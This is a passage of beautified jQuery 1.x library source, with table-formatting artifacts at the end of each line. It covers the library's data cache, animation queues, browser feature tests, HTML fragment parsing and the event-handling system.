cf = cm ? cg[cl] : cg[cl] && cl; | |
if ((!cf || !i[cf] || (!ch && !i[cf].data)) && ci === undefined && typeof ce === "string") { | |
return | |
} | |
if (!cf) { | |
if (cm) { | |
cf = cg[cl] = aX.pop() || bQ.guid++ | |
} else { | |
cf = cl | |
} | |
} | |
if (!i[cf]) { | |
i[cf] = cm ? {} : { | |
toJSON: bQ.noop | |
} | |
} | |
if (typeof ce === "object" || typeof ce === "function") { | |
if (ch) { | |
i[cf] = bQ.extend(i[cf], ce) | |
} else { | |
i[cf].data = bQ.extend(i[cf].data, ce) | |
} | |
} | |
cj = i[cf]; | |
if (!ch) { | |
if (!cj.data) { | |
cj.data = {} | |
} | |
cj = cj.data | |
} | |
if (ci !== undefined) { | |
cj[bQ.camelCase(ce)] = ci | |
} | |
if (typeof ce === "string") { | |
ck = cj[ce]; | |
if (ck == null) { | |
ck = cj[bQ.camelCase(ce)] | |
} | |
} else { | |
ck = cj | |
} | |
return ck | |
} | |
function ak(ci, cg, ce) { | |
if (!W(ci)) { | |
return | |
} | |
var ck, ch, cj = ci.nodeType, | |
cf = cj ? bQ.cache : ci, | |
cl = cj ? ci[bQ.expando] : bQ.expando; | |
if (!cf[cl]) { | |
return | |
} | |
if (cg) { | |
ck = ce ? cf[cl] : cf[cl].data; | |
if (ck) { | |
if (!bQ.isArray(cg)) { | |
if (cg in ck) { | |
cg = [cg] | |
} else { | |
cg = bQ.camelCase(cg); | |
if (cg in ck) { | |
cg = [cg] | |
} else { | |
cg = cg.split(" ") | |
} | |
} | |
} else { | |
cg = cg.concat(bQ.map(cg, bQ.camelCase)) | |
} | |
ch = cg.length; | |
while (ch--) { | |
delete ck[cg[ch]] | |
} | |
if (ce ? !Z(ck) : !bQ.isEmptyObject(ck)) { | |
return | |
} | |
} | |
} | |
if (!ce) { | |
delete cf[cl].data; | |
if (!Z(cf[cl])) { | |
return | |
} | |
} | |
if (cj) { | |
bQ.cleanData([ci], true) | |
} else { | |
if (G.deleteExpando || cf != cf.window) { | |
delete cf[cl] | |
} else { | |
cf[cl] = undefined | |
} | |
} | |
} | |
bQ.extend({ | |
cache: {}, | |
noData: { | |
"applet ": true, | |
"embed ": true, | |
"object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" | |
}, | |
hasData: function(i) { | |
i = i.nodeType ? bQ.cache[i[bQ.expando]] : i[bQ.expando]; | |
return !!i && !Z(i) | |
}, | |
data: function(ce, i, cf) { | |
return bk(ce, i, cf) | |
}, | |
removeData: function(ce, i) { | |
return ak(ce, i) | |
}, | |
_data: function(ce, i, cf) { | |
return bk(ce, i, cf, true) | |
}, | |
_removeData: function(ce, i) { | |
return ak(ce, i, true) | |
} | |
}); | |
bQ.fn.extend({ | |
data: function(ch, ck) { | |
var cg, cf, cj, ci = this[0], | |
ce = ci && ci.attributes; | |
if (ch === undefined) { | |
if (this.length) { | |
cj = bQ.data(ci); | |
if (ci.nodeType === 1 && !bQ._data(ci, "parsedAttrs")) { | |
cg = ce.length; | |
while (cg--) { | |
if (ce[cg]) { | |
cf = ce[cg].name; | |
if (cf.indexOf("data-") === 0) { | |
cf = bQ.camelCase(cf.slice(5)); | |
bI(ci, cf, cj[cf]) | |
} | |
} | |
} | |
bQ._data(ci, "parsedAttrs", true) | |
} | |
} | |
return cj | |
} | |
if (typeof ch === "object") { | |
return this.each(function() { | |
bQ.data(this, ch) | |
}) | |
} | |
return arguments.length > 1 ? this.each(function() { | |
bQ.data(this, ch, ck) | |
}) : ci ? bI(ci, ch, bQ.data(ci, ch)) : undefined | |
}, | |
removeData: function(i) { | |
return this.each(function() { | |
bQ.removeData(this, i) | |
}) | |
} | |
}); | |
bQ.extend({ | |
queue: function(cf, ce, cg) { | |
var i; | |
if (cf) { | |
ce = (ce || "fx") + "queue"; | |
i = bQ._data(cf, ce); | |
if (cg) { | |
if (!i || bQ.isArray(cg)) { | |
i = bQ._data(cf, ce, bQ.makeArray(cg)) | |
} else { | |
i.push(cg) | |
} | |
} | |
return i || [] | |
} | |
}, | |
dequeue: function(ci, ch) { | |
ch = ch || "fx"; | |
var ce = bQ.queue(ci, ch), | |
cj = ce.length, | |
cg = ce.shift(), | |
i = bQ._queueHooks(ci, ch), | |
cf = function() { | |
bQ.dequeue(ci, ch) | |
}; | |
if (cg === "inprogress") { | |
cg = ce.shift(); | |
cj-- | |
} | |
if (cg) { | |
if (ch === "fx") { | |
ce.unshift("inprogress") | |
} | |
delete i.stop; | |
cg.call(ci, cf, i) | |
} | |
if (!cj && i) { | |
i.empty.fire() | |
} | |
}, | |
_queueHooks: function(cf, ce) { | |
var i = ce + "queueHooks"; | |
return bQ._data(cf, i) || bQ._data(cf, i, { | |
empty: bQ.Callbacks("once memory").add(function() { | |
bQ._removeData(cf, ce + "queue"); | |
bQ._removeData(cf, i) | |
}) | |
}) | |
} | |
}); | |
bQ.fn.extend({ | |
queue: function(i, ce) { | |
var cf = 2; | |
if (typeof i !== "string") { | |
ce = i; | |
i = "fx"; | |
cf-- | |
} | |
if (arguments.length < cf) { | |
return bQ.queue(this[0], i) | |
} | |
return ce === undefined ? this : this.each(function() { | |
var cg = bQ.queue(this, i, ce); | |
bQ._queueHooks(this, i); | |
if (i === "fx" && cg[0] !== "inprogress") { | |
bQ.dequeue(this, i) | |
} | |
}) | |
}, | |
dequeue: function(i) { | |
return this.each(function() { | |
bQ.dequeue(this, i) | |
}) | |
}, | |
clearQueue: function(i) { | |
return this.queue(i || "fx", []) | |
}, | |
promise: function(cg, ck) { | |
var cf, ch = 1, | |
cl = bQ.Deferred(), | |
cj = this, | |
ce = this.length, | |
ci = function() { | |
if (!(--ch)) { | |
cl.resolveWith(cj, [cj]) | |
} | |
}; | |
if (typeof cg !== "string") { | |
ck = cg; | |
cg = undefined | |
} | |
cg = cg || "fx"; | |
while (ce--) { | |
cf = bQ._data(cj[ce], cg + "queueHooks"); | |
if (cf && cf.empty) { | |
ch++; | |
cf.empty.add(ci) | |
} | |
} | |
ci(); | |
return cl.promise(ck) | |
} | |
}); | |
(function() { | |
var i; | |
G.shrinkWrapBlocks = function() { | |
if (i != null) { | |
return i | |
} | |
i = false; | |
var cg, ce, cf; | |
ce = m.getElementsByTagName("body")[0]; | |
if (!ce || !ce.style) { | |
return | |
} | |
cg = m.createElement("div"); | |
cf = m.createElement("div"); | |
cf.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px"; | |
ce.appendChild(cf).appendChild(cg); | |
if (typeof cg.style.zoom !== "undefined") { | |
cg.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1"; | |
cg.appendChild(m.createElement("div")).style.width = "5px"; | |
i = cg.offsetWidth !== 3 | |
} | |
ce.removeChild(cf); | |
return i | |
} | |
})(); | |
var aM = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source; | |
var b7 = new RegExp("^(?:([+-])=|)(" + aM + ")([a-z%]*)$", "i"); | |
var b1 = ["Top", "Right", "Bottom", "Left"]; | |
var ab = function(ce, i) { | |
ce = i || ce; | |
return bQ.css(ce, "display") === "none" || !bQ.contains(ce.ownerDocument, ce) | |
}; | |
function B(ce, i, ch, cm) { | |
var cn, cf = 1, | |
cj = 20, | |
cl = cm ? function() { | |
return cm.cur() | |
} : function() { | |
return bQ.css(ce, i, "") | |
}, | |
ci = cl(), | |
ck = ch && ch[3] || (bQ.cssNumber[i] ? "" : "px"), | |
cg = (bQ.cssNumber[i] || ck !== "px" && +ci) && b7.exec(bQ.css(ce, i)); | |
if (cg && cg[3] !== ck) { | |
ck = ck || cg[3]; | |
ch = ch || []; | |
cg = +ci || 1; | |
do { | |
cf = cf || ".5"; | |
cg = cg / cf; | |
bQ.style(ce, i, cg + ck) | |
} while (cf !== (cf = cl() / ci) && cf !== 1 && --cj) | |
} | |
if (ch) { | |
cg = +cg || +ci || 0; | |
cn = ch[1] ? cg + (ch[1] + 1) * ch[2] : +ch[2]; | |
if (cm) { | |
cm.unit = ck; | |
cm.start = cg; | |
cm.end = cn | |
} | |
} | |
return cn | |
} | |
var aK = function(ce, cj, cl, ck, ch, cn, cm) { | |
var cg = 0, | |
cf = ce.length, | |
ci = cl == null; | |
if (bQ.type(cl) === "object") { | |
ch = true; | |
for (cg in cl) { | |
aK(ce, cj, cg, cl[cg], true, cn, cm) | |
} | |
} else { | |
if (ck !== undefined) { | |
ch = true; | |
if (!bQ.isFunction(ck)) { | |
cm = true | |
} | |
if (ci) { | |
if (cm) { | |
cj.call(ce, ck); | |
cj = null | |
} else { | |
ci = cj; | |
cj = function(co, i, cp) { | |
return ci.call(bQ(co), cp) | |
} | |
} | |
} | |
if (cj) { | |
for (; cg < cf; cg++) { | |
cj(ce[cg], cl, cm ? ck : ck.call(ce[cg], cg, cj(ce[cg], cl))) | |
} | |
} | |
} | |
} | |
return ch ? ce : ci ? cj.call(ce) : cf ? cj(ce[0], cl) : cn | |
}; | |
var aT = (/^(?:checkbox|radio)$/i); | |
var n = (/<([\w:-]+)/); | |
var bJ = (/^$|\/(?:java|ecma)script/i); | |
var cd = (/^\s+/); | |
var d = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|dialog|figcaption|figure|footer|header|hgroup|main|mark|meter|nav|output|picture|progress|section|summary|template|time|video"; | |
function D(i) { | |
var cf = d.split("|"), | |
ce = i.createDocumentFragment(); | |
if (ce.createElement) { | |
while (cf.length) { | |
ce.createElement(cf.pop()) | |
} | |
} | |
return ce | |
}(function() { | |
var cf = m.createElement("div"), | |
ce = m.createDocumentFragment(), | |
i = m.createElement("input"); | |
cf.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>"; | |
G.leadingWhitespace = cf.firstChild.nodeType === 3; | |
G.tbody = !cf.getElementsByTagName("tbody").length; | |
G.htmlSerialize = !!cf.getElementsByTagName("link").length; | |
G.html5Clone = m.createElement("nav").cloneNode(true).outerHTML !== "<:nav></:nav>"; | |
i.type = "checkbox"; | |
i.checked = true; | |
ce.appendChild(i); | |
G.appendChecked = i.checked; | |
cf.innerHTML = "<textarea>x</textarea>"; | |
G.noCloneChecked = !!cf.cloneNode(true).lastChild.defaultValue; | |
ce.appendChild(cf); | |
i = m.createElement("input"); | |
i.setAttribute("type", "radio"); | |
i.setAttribute("checked", "checked"); | |
i.setAttribute("name", "t"); | |
cf.appendChild(i); | |
G.checkClone = cf.cloneNode(true).cloneNode(true).lastChild.checked; | |
G.noCloneEvent = !!cf.addEventListener; | |
cf[bQ.expando] = 1; | |
G.attributes = !cf.getAttribute(bQ.expando) | |
})(); | |
var ae = { | |
option: [1, "<select multiple='multiple'>", "</select>"], | |
legend: [1, "<fieldset>", "</fieldset>"], | |
area: [1, "<map>", "</map>"], | |
param: [1, "<object>", "</object>"], | |
thead: [1, "<table>", "</table>"], | |
tr: [2, "<table><tbody>", "</tbody></table>"], | |
col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"], | |
td: [3, "<table><tbody><tr>", "</tr></tbody></table>"], | |
_default: G.htmlSerialize ? [0, "", ""] : [1, "X<div>", "</div>"] | |
}; | |
ae.optgroup = ae.option; | |
ae.tbody = ae.tfoot = ae.colgroup = ae.caption = ae.thead; | |
ae.th = ae.td; | |
function k(ch, ce) { | |
var cf, ci, cg = 0, | |
cj = typeof ch.getElementsByTagName !== "undefined" ? ch.getElementsByTagName(ce || "*") : typeof ch.querySelectorAll !== "undefined" ? ch.querySelectorAll(ce || "*") : undefined; | |
if (!cj) { | |
for (cj = [], cf = ch.childNodes || ch; | |
(ci = cf[cg]) != null; cg++) { | |
if (!ce || bQ.nodeName(ci, ce)) { | |
cj.push(ci) | |
} else { | |
bQ.merge(cj, k(ci, ce)) | |
} | |
} | |
} | |
return ce === undefined || ce && bQ.nodeName(ch, ce) ? bQ.merge([ch], cj) : cj | |
} | |
function bC(ce, cg) { | |
var ch, cf = 0; | |
for (; | |
(ch = ce[cf]) != null; cf++) { | |
bQ._data(ch, "globalEval", !cg || bQ._data(cg[cf], "globalEval")) | |
} | |
} | |
var T = /<|&#?\w+;/, | |
b9 = /<tbody/i; | |
function b6(i) { | |
if (aT.test(i.type)) { | |
i.defaultChecked = i.checked | |
} | |
} | |
function C(cf, ch, cn, cs, ck) { | |
var co, cj, cm, cr, ct, cq, cg, cl = cf.length, | |
ci = D(ch), | |
ce = [], | |
cp = 0; | |
for (; cp < cl; cp++) { | |
cj = cf[cp]; | |
if (cj || cj === 0) { | |
if (bQ.type(cj) === "object") { | |
bQ.merge(ce, cj.nodeType ? [cj] : cj) | |
} else { | |
if (!T.test(cj)) { | |
ce.push(ch.createTextNode(cj)) | |
} else { | |
cr = cr || ci.appendChild(ch.createElement("div")); | |
ct = (n.exec(cj) || ["", ""])[1].toLowerCase(); | |
cg = ae[ct] || ae._default; | |
cr.innerHTML = cg[1] + bQ.htmlPrefilter(cj) + cg[2]; | |
co = cg[0]; | |
while (co--) { | |
cr = cr.lastChild | |
} | |
if (!G.leadingWhitespace && cd.test(cj)) { | |
ce.push(ch.createTextNode(cd.exec(cj)[0])) | |
} | |
if (!G.tbody) { | |
cj = ct === "table" && !b9.test(cj) ? cr.firstChild : cg[1] === "<table>" && !b9.test(cj) ? cr : 0; | |
co = cj && cj.childNodes.length; | |
while (co--) { | |
if (bQ.nodeName((cq = cj.childNodes[co]), "tbody") && !cq.childNodes.length) { | |
cj.removeChild(cq) | |
} | |
} | |
} | |
bQ.merge(ce, cr.childNodes); | |
cr.textContent = ""; | |
while (cr.firstChild) { | |
cr.removeChild(cr.firstChild) | |
} | |
cr = ci.lastChild | |
} | |
} | |
} | |
} | |
if (cr) { | |
ci.removeChild(cr) | |
} | |
if (!G.appendChecked) { | |
bQ.grep(k(ce, "input"), b6) | |
} | |
cp = 0; | |
while ((cj = ce[cp++])) { | |
if (cs && bQ.inArray(cj, cs) > -1) { | |
if (ck) { | |
ck.push(cj) | |
} | |
continue | |
} | |
cm = bQ.contains(cj.ownerDocument, cj); | |
cr = k(ci.appendChild(cj), "script"); | |
if (cm) { | |
bC(cr) | |
} | |
if (cn) { | |
co = 0; | |
while ((cj = cr[co++])) { | |
if (bJ.test(cj.type || "")) { | |
cn.push(cj) | |
} | |
} | |
} | |
} | |
cr = null; | |
return ci | |
}(function() { | |
var cf, ce, cg = m.createElement("div"); | |
for (cf in { | |
submit: true, | |
change: true, | |
focusin: true | |
}) { | |
ce = "on" + cf; | |
if (!(G[cf] = ce in bd)) { | |
cg.setAttribute(ce, "t"); | |
G[cf] = cg.attributes[ce].expando === false | |
} | |
} | |
cg = null | |
})(); | |
var bO = /^(?:input|select|textarea)$/i, | |
be = /^key/, | |
bT = /^(?:mouse|pointer|contextmenu|drag|drop)|click/, | |
bK = /^(?:focusinfocus|focusoutblur)$/, | |
bF = /^([^.]*)(?:\.(.+)|)/; | |
function ad() { | |
return true | |
} | |
function ai() { | |
return false | |
} | |
function av() { | |
try { | |
return m.activeElement | |
} catch (i) {} | |
} | |
function bq(ci, cf, i, cj, ch, ce) { | |
var ck, cg; | |
if (typeof cf === "object") { | |
if (typeof i !== "string") { | |
cj = cj || i; | |
i = undefined | |
} | |
for (cg in cf) { | |
bq(ci, cg, i, cj, cf[cg], ce) | |
} | |
return ci | |
} | |
if (cj == null && ch == null) { | |
ch = i; | |
cj = i = undefined | |
} else { | |
if (ch == null) { | |
if (typeof i === "string") { | |
ch = cj; | |
cj = undefined | |
} else { | |
ch = cj; | |
cj = i; | |
i = undefined | |
} | |
} | |
} | |
if (ch === false) { | |
ch = ai | |
} else { | |
if (!ch) { | |
return ci | |
} | |
} | |
if (ce === 1) { | |
ck = ch; | |
ch = function(cl) { | |
bQ().off(cl); | |
return ck.apply(this, arguments) | |
}; | |
ch.guid = ck.guid || (ck.guid = bQ.guid++) | |
} | |
return ci.each(function() { | |
bQ.event.add(this, cf, ch, cj, i) | |
}) | |
} | |
bQ.event = { | |
global: {}, | |
add: function(ch, cm, cr, cj, ci) { | |
var ck, cs, ct, cf, co, cl, cq, cg, cp, i, ce, cn = bQ._data(ch); | |
if (!cn) { | |
return | |
} | |
if (cr.handler) { | |
cf = cr; | |
cr = cf.handler; | |
ci = cf.selector | |
} | |
if (!cr.guid) { | |
cr.guid = bQ.guid++ | |
} | |
if (!(cs = cn.events)) { | |
cs = cn.events = {} | |
} | |
if (!(cl = cn.handle)) { | |
cl = cn.handle = function(cu) { | |
return typeof bQ !== "undefined" && (!cu || bQ.event.triggered !== cu.type) ? bQ.event.dispatch.apply(cl.elem, arguments) : undefined | |
}; | |
cl.elem = ch | |
} | |
cm = (cm || "").match(aN) || [""]; | |
ct = cm.length; | |
while (ct--) { | |
ck = bF.exec(cm[ct]) || []; | |
cp = ce = ck[1]; | |
i = (ck[2] || "").split(".").sort(); | |
if (!cp) { | |
continue | |
} | |
co = bQ.event.special[cp] || {}; | |
cp = (ci ? co.delegateType : co.bindType) || cp; | |
co = bQ.event.special[cp] || {}; | |
cq = bQ.extend({ | |
type: cp, | |
origType: ce, | |
data: cj, | |
handler: cr, | |
guid: cr.guid, | |
selector: ci, | |
needsContext: ci && bQ.expr.match.needsContext.test(ci), | |
namespace: i.join(".") | |
}, cf); | |
if (!(cg = cs[cp])) { | |
cg = cs[cp] = []; | |
cg.delegateCount = 0; | |
if (!co.setup || co.setup.call(ch, cj, i, cl) === false) { | |
if (ch.addEventListener) { | |
ch.addEventListener(cp, cl, false) | |
} else { | |
if (ch.attachEvent) { | |
ch.attachEvent("on" + cp, cl) | |
} | |
} | |
} | |
} | |
if (co.add) { | |
co.add.call(ch, cq); | |
if (!cq.handler.guid) { | |
cq.handler.guid = cr.guid | |
} | |
} | |
if (ci) { | |
cg.splice(cg.delegateCount++, 0, cq) | |
} else { | |
cg.push(cq) | |
} | |
bQ.event.global[cp] = true | |
} | |
ch = null | |
}, | |
remove: function(cg, cm, ct, ch, cl) { | |
var cj, cq, ck, ci, cs, cr, co, cf, cp, i, ce, cn = bQ.hasData(cg) && bQ._data(cg); | |
if (!cn || !(cr = cn.events)) { | |
return | |
} | |
cm = (cm || "").match(aN) || [""]; | |
cs = cm.length; | |
while (cs--) { | |
ck = bF.exec(cm[cs]) || []; | |
cp = ce = ck[1]; | |
i = (ck[2] || "").split(".").sort(); | |
if (!cp) { | |
for (cp in cr) { | |
bQ.event.remove(cg, cp + cm[cs], ct, ch, true) | |
} | |
continue | |
} | |
co = bQ.event.special[cp] || {}; | |
cp = (ch ? co.delegateType : co.bindType) || cp; | |
cf = cr[cp] || []; | |
ck = ck[2] && new RegExp("(^|\\.)" + i.join("\\.(?:.*\\.|)") + "(\\.|$)"); | |
ci = cj = cf.length; | |
while (cj--) { | |
cq = cf[cj]; | |
if ((cl || ce === cq.origType) && (!ct || ct.guid === cq.guid) && (!ck || ck.test(cq.namespace)) && (!ch || ch === cq.selector || ch === "**" && cq.selector)) { | |
cf.splice(cj, 1); | |
if (cq.selector) { | |
cf.delegateCount-- | |
} | |
if (co.remove) { | |
co.remove.call(cg, cq) | |
} | |
} | |
} | |
if (ci && !cf.length) { | |
if (!co.teardown || co.teardown.call(cg, i, cn.handle) === false) { | |
bQ.removeEvent(cg, cp, cn.handle) | |
} | |
delete cr[cp] | |
} | |
} | |
if (bQ.isEmptyObject(cr)) { | |
delete cn.handle; | |
bQ._removeData(cg, "events") | |
} | |
}, | |
trigger: function(ce, cl, ch, cs) { | |
var cm, cg, cq, cr, co, ck, cj, ci = [ch || m], | |
cp = S.call(ce, "type") ? ce.type : ce, | |
cf = S.call(ce, "namespace") ? ce.namespace.split(".") : []; | |
cq = ck = ch = ch || m; | |
if (ch.nodeType === 3 || ch.nodeType === 8) { | |
return | |
} | |
if (bK.test(cp + bQ.event.triggered)) { | |
return | |
} | |
if (cp.indexOf(".") > -1) { | |
cf = cp.split("."); | |
cp = cf.shift(); | |
cf.sort() | |
} | |
cg = cp.indexOf(":") < 0 && "on" + cp; | |
ce = ce[bQ.expando] ? ce : new bQ.Event(cp, typeof ce === "object" && ce); | |
ce.isTrigger = cs ? 2 : 3; | |
ce.namespace = cf.join("."); | |
ce.rnamespace = ce.namespace ? new RegExp("(^|\\.)" + cf.join("\\.(?:.*\\.|)") + "(\\.|$)") : null; | |
ce.result = undefined; | |
if (!ce.target) { | |
ce.target = ch | |
} | |
cl = cl == null ? [ce] : bQ.makeArray(cl, [ce]); | |
co = bQ.event.special[cp] || {}; | |
if (!cs && co.trigger && co.trigger.apply(ch, cl) === false) { | |
return | |
} | |
if (!cs && !co.noBubble && !bQ.isWindow(ch)) { | |
cr = co.delegateType || cp; | |
if (!bK.test(cr + cp)) { | |
cq = cq.parentNode | |
} | |
for (; cq; cq = cq.parentNode) { | |
ci.push(cq); | |
ck = cq | |
} | |
if (ck === (ch.ownerDocument || m)) { | |
ci.push(ck.defaultView || ck.parentWindow || bd) | |
} | |
} | |
cj = 0; | |
while ((cq = ci[cj++]) && !ce.isPropagationStopped()) { | |
ce.type = cj > 1 ? cr : co.bindType || cp; | |
cm = (bQ._data(cq, "events") || {})[ce.type] && bQ._data(cq, "handle"); | |
if (cm) { | |
cm.apply(cq, cl) | |
} | |
cm = cg && cq[cg]; | |
if (cm && cm.apply && W(cq)) { | |
ce.result = cm.apply(cq, cl); | |
if (ce.result === false) { | |
ce.preventDefault() | |
} | |
} | |
} | |
ce.type = cp; | |
if (!cs && !ce.isDefaultPrevented()) { | |
if ((!co._default || co._default.apply(ci.pop(), cl) === false) && W(ch)) { | |
if (cg && ch[cp] && !bQ.isWindow(ch)) { | |
ck = ch[cg]; | |
if (ck) { | |
ch[cg] = null | |
} | |
bQ.event.triggered = cp; | |
try { | |
ch[cp]() | |
} catch (cn) {} | |
bQ.event.triggered = undefined; | |
if (ck) { | |
ch[cg] = ck | |
} | |
} | |
} | |
} | |
return ce.result | |
}, | |
dispatch: function(ce) { | |
ce = bQ.event.fix(ce); | |
var ci, ch, cj, cf, cn, cm = [], | |
cl = Y.call(arguments), | |
cg = (bQ._data(this, "events") || {})[ce.type] || [], | |
ck = bQ.event.special[ce.type] || {}; | |
cl[0] = ce; | |
ce.delegateTarget = this; | |
if (ck.preDispatch && ck.preDispatch.call(this, ce) === false) { | |
return | |
} | |
cm = bQ.event.handlers.call(this, ce, cg); | |
ci = 0; | |
while ((cf = cm[ci++]) && !ce.isPropagationStopped()) { | |
ce.currentTarget = cf.elem; | |
ch = 0; | |
while ((cn = cf.handlers[ch++]) && !ce.isImmediatePropagationStopped()) { | |
if (!ce.rnamespace || ce.rnamespace.test(cn.namespace)) { | |
ce.handleObj = cn; | |
ce.data = cn.data; | |
cj = ((bQ.event.special[cn.origType] || {}).handle || cn.handler).apply(cf.elem, cl); | |
if (cj !== undefined) { | |
if ((ce.result = cj) === false) { | |
ce.preventDefault(); | |
ce.stopPropagation() | |
} | |
} | |
} | |
} | |
} | |
if (ck.postDispatch) { | |
ck.postDispatch.call(this, ce) | |
} | |
return ce.result | |
}, | |
handlers: function(ce, cg) { | |
var ci, cj, cf, cl, ck = [], | |
ch = cg.delegateCount, | |
cm = ce.target; | |
if (ch && cm.nodeType && (ce.type !== "click" || isNaN(ce.button) || ce.button < 1)) { | |
for (; cm != this; cm = cm.parentNode || this) { | |
if (cm.nodeType === 1 && (cm.disabled !== true || ce.type !== "click")) { | |
cj = []; | |
for (ci = 0; ci < ch; ci++) { | |
cl = cg[ci]; | |
cf = cl.selector + " "; | |
if (cj[cf] === undefined) { | |
cj[cf] = cl.needsContext ? bQ(cf, this).index(cm) > -1 : bQ.find(cf, this, null, [cm]).length | |
} | |
if (cj[cf]) { | |
cj.push(cl) | |
} | |
} | |
if (cj.length) { | |
ck.push({ | |
elem: cm, | |
handlers: cj | |
}) | |
} | |
} | |
} | |
} | |
if (ch < cg.length) { | |
ck.push({ | |
elem: this, | |
handlers: cg.slice(ch) | |
}) | |
} | |
return ck | |
}, | |
fix: function(ch) { | |
if (ch[bQ.expando]) { | |
return ch | |
} | |
var cf, ck, cj, cg = ch.type, | |
ce = ch, | |
ci = this.fixHooks[cg]; | |
if (!ci) { | |
this.fixHooks[cg] = ci = bT.test(cg) ? this.mouseHooks : be.test(cg) ? this.keyHooks : {} | |
} | |
cj = ci.props ? this.props.concat(ci.props) : this.props; | |
ch = new bQ.Event(ce); | |
cf = cj.length; | |
while (cf--) { | |
ck = cj[cf]; | |
ch[ck] = ce[ck] | |
} | |
if (!ch.target) { | |
ch.target = ce.srcElement || m | |
} | |
if (ch.target.nodeType === 3) { | |
ch.target = ch.target.parentNode | |
} | |
ch.metaKey = !!ch.metaKey; | |
return ci.filter ? ci.filter(ch, ce) : ch | |
}, | |
props: ("altKey bubbles cancelable ctrlKey currentTarget detail eventPhase metaKey relatedTarget shiftKey target timeStamp view which").split(" "), | |
fixHooks: {}, | |
keyHooks: { | |
props: "char charCode key keyCode".split(" "), | |
filter: function(ce, i) { | |
if (ce.which == null) { | |
ce.which = i.charCode != null ? i.charCode : i.keyCode | |
} | |
return ce | |
} | |
}, | |
mouseHooks: { | |
props: ("button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement").split(" "), | |
filter: function(cg, cf) { | |
var i, ch, ci, ce = cf.button, | |
cj = cf.fromElement; | |
if (cg.pageX == null && cf.clientX != null) { | |
ch = cg.target.ownerDocument || m; | |
ci = ch.documentElement; | |
i = ch.body; | |
cg.pageX = cf.clientX + (ci && ci.scrollLeft || i && i.scrollLeft || 0) - (ci && ci.clientLeft || i && i.clientLeft || 0); | |
cg.pageY = cf.clientY + (ci && ci.scrollTop || i && i.scrollTop || 0) - (ci && ci.clientTop || i && i.clientTop || 0) | |
} | |
if (!cg.relatedTarget && cj) { | |
cg.relatedTarget = cj === cg.target ? cf.toElement : cj | |
} | |
if (!cg.which && ce !== undefined) { | |
cg.which = (ce & 1 ? 1 : (ce & 2 ? 3 : (ce & 4 ? 2 : 0))) | |
} | |
return cg | |
} | |
}, | |
special: { | |
load: { | |
noBubble: true | |
}, | |
focus: { | |
trigger: function() { | |
if (this !== av() && this.focus) { | |
try { | |
this.focus(); | |
return false | |
} catch (i) {} | |
} | |
}, | |
delegateType: "focusin" | |
}, | |
blur: { | |
trigger: function() { | |
if (this === av() && this.blur) { | |
this.blur(); | |
return false | |
} | |
}, | |
delegateType: "focusout" | |
}, | |
click: { | |
trigger: function() { | |
if (bQ.nodeName(this, "input") && this.type === "checkbox" && this.click) { | |
this.click(); | |
return false | |
} | |
}, | |
_default: function(i) { | |
return bQ.nodeName(i.target, "a") | |
} | |
}, | |
beforeunload: { | |
postDispatch: function(i) { | |
if (i.result !== undefined && i.originalEvent) { | |
i.originalEvent.returnValue = i.result | |
} | |
} | |
} | |
}, | |
simulate: function(i, cf, ce) { | |
var cg = bQ.extend(new bQ.Event(), ce, { | |
type: i, | |
isSimulated: true | |
}); | |
bQ.event.trigger(cg, null, cf); | |
if (cg.isDefaultPrevented()) { | |
ce.preventDefault() | |
} | |
} | |
}; | |
bQ.removeEvent = m.removeEventListener ? function(ce, i, cf) { | |
if (ce.removeEventListener) { | |
ce.removeEventListener(i, cf) | |
} | |
} : function(cf, ce, cg) { | |
var i = "on" + ce; | |
if (cf.detachEvent) { | |
if (typeof cf[i] === "undefined") { | |
cf[i] = null | |
} | |
cf.detachEvent(i, cg) | |
} | |
}; | |
bQ.Event = function(ce, i) { | |
if (!(this instanceof bQ.Event)) { | |
return new bQ.Event(ce, i) | |
} | |
if (ce && ce.type) { | |
this.originalEvent = ce; | |
this.type = ce.type; | |
this.isDefaultPrevented = ce.defaultPrevented || ce.defaultPrevented === undefined && ce.returnValue === false ? ad : ai | |
} else { | |
this.type = ce | |
} | |
if (i) { | |
bQ.extend(this, i) | |
} | |
this.timeStamp = ce && ce.timeStamp || bQ.now(); | |
this[bQ.expando] = true | |
}; | |
bQ.Event.prototype = { | |
constructor: bQ.Event, | |
isDefaultPrevented: ai, | |
isPropagationStopped: ai, | |
isImmediatePropagationStopped: ai, | |
preventDefault: function() { | |
var i = this.originalEvent; | |
this.isDefaultPrevented = ad; | |
if (!i) { | |
return | |
} | |
if (i.preventDefault) { | |
i.preventDefault() | |
} else { | |
i.returnValue = false | |
} | |
}, | |
stopPropagation: function() { | |
var i = this.originalEvent; | |
this.isPropagationStopped = ad; | |
if (!i || this.isSimulated) { | |
return | |
} | |
if (i.stopPropagation) { | |
i.stopPropagation() | |
} | |
i.cancelBubble = true | |
}, | |
stopImmediatePropagation: function() { | |
var i = this.originalEvent; | |
this.isImmediatePropagationStopped = ad; | |
if (i && i.stopImmediatePropagation) { | |
i.stopImmediatePropagation() | |
} | |
this.stopPropagation() | |
} | |
}; | |
bQ.each({ | |
mouseenter: "mouseover", | |
mouseleave: "mouseout", | |
pointerenter: "pointerover", | |
pointerleave: "pointerout" | |
}, function(ce, i) { | |
bQ.event.special[ce] = { | |
delegateType: i, | |
bindType: i, | |
handle: function(ch) { | |
var cf, cj = this, | |
ci = ch.relatedTarget, | |
cg = ch.handleObj; | |
if (!ci || (ci !== cj && !bQ.contains(cj, ci))) { | |
ch.type = cg.origType; | |
cf = cg.handler.apply(this, arguments); | |
ch.type = i | |
} | |
return cf | |
} | |
} | |
}); | |
if (!G.submit) { | |
bQ.event.special.submit = { | |
setup: function() { | |
if (bQ.nodeName(this, "form")) { | |
return false | |
} | |
bQ.event.add(this, "click._submit keypress._submit", function(cf) { | |
var ce = cf.target, | |
i = bQ.nodeName(ce, "input") || bQ.nodeName(ce, "button") ? bQ.prop(ce, "form") : undefined; | |
if (i && !bQ._data(i, "submit")) { | |
bQ.event.add(i, "submit._submit", function(cg) { | |
cg._submitBubble = true | |
}); | |
